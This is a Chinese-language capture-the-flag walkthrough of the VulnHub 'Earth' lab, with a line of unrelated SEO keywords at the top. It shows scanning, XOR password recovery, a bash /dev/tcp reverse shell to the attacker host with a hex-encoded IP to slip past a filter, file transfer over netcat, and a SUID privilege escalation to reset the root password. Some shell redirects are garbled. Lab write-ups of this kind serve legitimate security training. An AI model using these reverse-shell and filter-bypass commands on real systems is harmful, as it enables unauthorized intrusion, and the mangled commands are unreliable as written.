win2003 iis配置网站,网站开发天晟合益,网站建设app开发销售好做吗,中国市场网项目地址
https://download.vulnhub.com/theplanets/Earth.ova.torrent
搭建靶机
官网下载.ova文件双击vm打开导入 获取靶机IP kail终端输入
arp-scan -l 获取靶机 IP 192.168.131.184
信息收集
端口扫描
sudo nmap -sC -sV -p- 192.168.131.184 可以看到开启22端口80端口
并且80端口配置了两个dns需要修改hosts文件指定IP 访问ip 发现400报错 修改hosts
sudo chmod 777 /etc/hosts
vi /etc/hosts
192.168.131.184 earth.local terratest.earth.local 浏览器访问http://earth.local页面显示正常 输入框随意添加字符点击Send Message下方会增加一串数字 访问另外一个域名https://terratest.earth.local 目录扫描
dirb https://terratest.earth.local/ 漏洞利用
尝试访问robots.txt 猜解后缀名为txt
浏览器访问https://terratest.earth.local/testingnotes.txt 文中提到testdata.txt作为解密字典先下载它 terra是用户名
wget https://terratest.earth.local/testdata.txt --no-check-certificate 进入该文件 使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码
步骤先将previous message从16进制数转化为UTF-8再与message进行XOR运算message就是testdata.txt的内容,XOR运算也使用UTF-8编码/
According to radiometric datingestimation and other evidence, Earth formed over 5.5 billion years ago. within the first billion years of Earths history,Life appeared in the oceans and began to affect Earths atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago. 第三段解出了需要的东西查看发现是重复的内容可能是登陆密码
尝试登录
使用账号terra 密码:earthclimatechangebad4humans登陆成功 发现是命令行 直接寻找flag文件
find / -name *flag* 发现了一个用户flag:/var/earth_web/user_flag.txt
cat /var/earth_web/user_flag.txt 得到flag
反弹shell
kali中开启监听
nc -lvvp 1234
命令行输入
bash -i /dev/tcp/192.168.131.128/8888 01 可以看到被拦截了
尝试将ip进行16进制转换绕过
bash -i /dev/tcp/0xc0.0xa8.0x83.0x80/1234 01 反弹成功
使用find命令查找一下flag
find / -name *flag.txt 可以得到user_flag 现在只有网站权限尝试提权到root先看下suid有些什么信息,看到这个命令
find / -perm -us -type f 2/dev/null strings /usr/bin/reset_root 看到一条信息大概意思是修改root密码为Earth
尝试执行reset_root
reset_root 提示触发器不存在
由于靶机没有ltrace所以将/usr/bin/reset_root传到本地分析
kali攻击机监听2222端口并将接收到的内容重定向到文件reset_root/
nc -lvvp 2222 reset_root 靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.131.128 2222 /usr/bin/reset_root 可以看出会检查触发器是否存在为条件这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹再执行reset_root成功重置root密码为Earth
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe 这里可以登录拿到flag